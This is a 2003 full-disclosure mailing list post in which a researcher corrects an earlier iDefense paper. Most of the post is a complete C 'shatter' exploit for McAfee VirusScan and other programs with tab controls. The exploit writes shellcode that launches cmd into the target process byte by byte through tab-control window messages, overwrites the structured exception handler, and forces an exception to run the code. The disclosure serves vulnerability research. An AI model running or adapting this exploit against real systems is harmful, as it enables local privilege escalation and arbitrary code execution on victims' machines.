Message-ID: <000401c357a8$d6a29f90$a0d0fea9@Oliver>
From: oliver.lavery at sympatico.ca (oliver.lavery@...patico.ca)
Subject: Shattering SEH II + I/II

Hi,

I recently wrote a paper for iDefense detailing a few shatter
vulnerabilities. One of the vendors mentioned in that paper informed me that
the exploit in that paper no longer worked for their products. As it turned
out, between the time when I wrote the paper and it's release they had
removed edit controls a particular vulnerable component in their products.
Go figure. Sorry for the minor inaccuracy.

Not wanting to let anyone feel left out, I hacked together this exploit
which does work for the vendor in question's products. It's based on Brett
Moore's rather cool SEH exploit, but uses a shatter vulnerability in Tab
controls as opposed to Listview controls. For more info check out Brett
Moore's recent 'Shattering SEH' posts.

Cheers,
~ol

-------- CUT - HERE ---------

/**********************************************************
* Tab Control Shatter exploit for McAfee A/V products
* (or any other program that includes a tab control)
*
* Demonstrates the use of tab control messages to;
*    - inject shellcode to known location
*    - overwrite 4 bytes of a critical memory address
*
* 3 Variables need to be set for proper execution.
*    - tWindow is the title of the programs main window
*    - sehHandler is the critical address to overwrite
*    - shellcodeaddr is the data space to inject the code
*
* Hardcoded addresses are for XP SP 1
* Try it out against any program with a tab control.
* Oliver Lavery <oliver.lavery at sympatico.ca>
*
* Based on (and pretty much identical to) shatterseh2.c by 
* Brett Moore [ brett moore security-assessment com ]
**********************************************************/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>

// Local Cmd Shellcode. 
// Added a loadLibrary call to make sure msvcrt.dll is present -- ol
BYTE exploit[] =
"\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77\xFF\xD
1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC";

char g_classNameBuf[ 256 ];

char tWindow[]="VirusScan Status";// The name of the main window
long sehHandler = 0x77edXXXX;      // Critical Address To Overwrite
long shellcodeaddr = 0x77ed7484;   // Known Writeable Space Or Global Space
// you might want to find a less destructive spot to stick the code, but
this works for me --ol
void doWrite(HWND hWnd, long tByte,long address);
void IterateWindows(long hWnd);

int main(int argc, char *argv[])
{
   long hWnd;
   HMODULE hMod;
   DWORD ProcAddr;
   printf("%% Playing with tabcontrol messages\n");
   printf("%% Oliver Lavery.\n\n");
   printf("%% based on Shatter SEH code by\n");
   printf("%% brett moore security-assessment com\n\n");

   // Find local procedure address
   hMod = LoadLibrary("kernel32.dll");
   ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA");
   if(ProcAddr != 0)
      // And put it in our shellcode
      *(long *)&exploit[13] = ProcAddr;

   hMod = LoadLibrary("msvcrt.dll");
   ProcAddr = (DWORD)GetProcAddress(hMod, "system");
   if(ProcAddr != 0)
      // And put it in our shellcode
      *(long *)&exploit[26] = ProcAddr;

   printf("+ Finding %s Window...\n",tWindow);
   hWnd = (long)FindWindow(NULL,tWindow);
   if(hWnd == NULL)
   {
      printf("+ Couldn't Find %s Window\n",tWindow);
      return 0;
   }
   printf("+ Found Main Window At...0x%xh\n",hWnd);
   IterateWindows(hWnd);
   printf("+ Not Done...\n");
   return 0;
}


void doWrite(HWND hWnd, long tByte,long address)
{
   SendMessage( hWnd,(UINT) TCM_SETITEMSIZE,0,MAKELPARAM(tByte - 2, 20));
   SendMessage( hWnd,(UINT) TCM_GETITEMRECT,1,address);
}

void IterateWindows(long hWnd)
{
   long childhWnd,looper;
   childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);
   GetClassName( (HWND)childhWnd, g_classNameBuf, sizeof(g_classNameBuf) );
   while ( strcmp(g_classNameBuf, "SysTabControl32") )
   {
      IterateWindows(childhWnd);
      childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);
	  GetClassName( (HWND)childhWnd, g_classNameBuf,
sizeof(g_classNameBuf) );
   }

   if(childhWnd != NULL)
   {
	  LONG wndStyle = GetWindowLong( (HWND)childhWnd, GWL_STYLE );
	  wndStyle |= TCS_FIXEDWIDTH ;
	  SetWindowLong( (HWND)childhWnd, GWL_STYLE, wndStyle );

	  printf("min %d\n", SendMessage( (HWND)childhWnd,(UINT)
TCM_SETMINTABWIDTH, 0,(LPARAM)0) );

      printf("+ Found tab control..0x%xh\n",childhWnd);
      // Inject shellcode to known address

	  printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
      for (looper=0;looper<sizeof(exploit);looper++)
         doWrite((HWND)childhWnd, (long) exploit[looper],(shellcodeaddr +
looper));
      // Overwrite SEH
      printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
      doWrite((HWND)childhWnd, ((shellcodeaddr) & 0xff),sehHandler);
      doWrite((HWND)childhWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1);
      doWrite((HWND)childhWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2);
      doWrite((HWND)childhWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3);
      // Cause exception
      printf("+ Forcing Unhandled Exception\n");
      SendMessage((HWND) childhWnd,(UINT) TCM_GETITEMRECT,0,1);
      printf("+ Done...\n");
      exit(0);
   }
}
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030731/4d83ba39/attachment.html

Powered by blists - more mailing lists